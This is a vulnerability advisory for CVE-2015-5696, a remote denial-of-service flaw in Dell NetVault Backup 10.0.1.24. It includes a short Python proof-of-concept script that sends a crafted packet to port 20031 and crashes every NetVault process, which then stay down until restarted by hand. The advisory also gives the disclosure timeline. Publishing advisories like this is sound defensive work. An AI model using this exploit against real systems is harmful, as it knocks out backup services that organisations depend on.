Product: Dell Netvault Backup Link: http://software.dell.com/products/netvault-backup/ Vendor: Dell Vulnerable Version(s): 10.0.1.24 and probably prior Tested Version: Version 10.0.1.24 Advisory Publication: July 30, 2015 Vendor Notification: January 9, 2015 Public Disclosure: July 30, 2015 Vulnerability Type: Remote Denial of service CVE Reference: CVE-2015-5696 Risk Level: Medium Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24
Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually.
Proof of concept script:
import socket as so from struct import *
server = "192.168.140.130"
port = 20031
d = "\x18\x00\x00\x00"
d += "\x01"
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6
d += "\x00" # null byte
s = so.socket(so.AF_INET, so.SOCK_STREAM) s.connect((server, port)) s.send(d) s.close()
Disclosure timeline: 2015-01-09 Vendor notified via email 2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x 2015-07-30 Public disclosure.
The fix done by Dell was not checked by the researcher.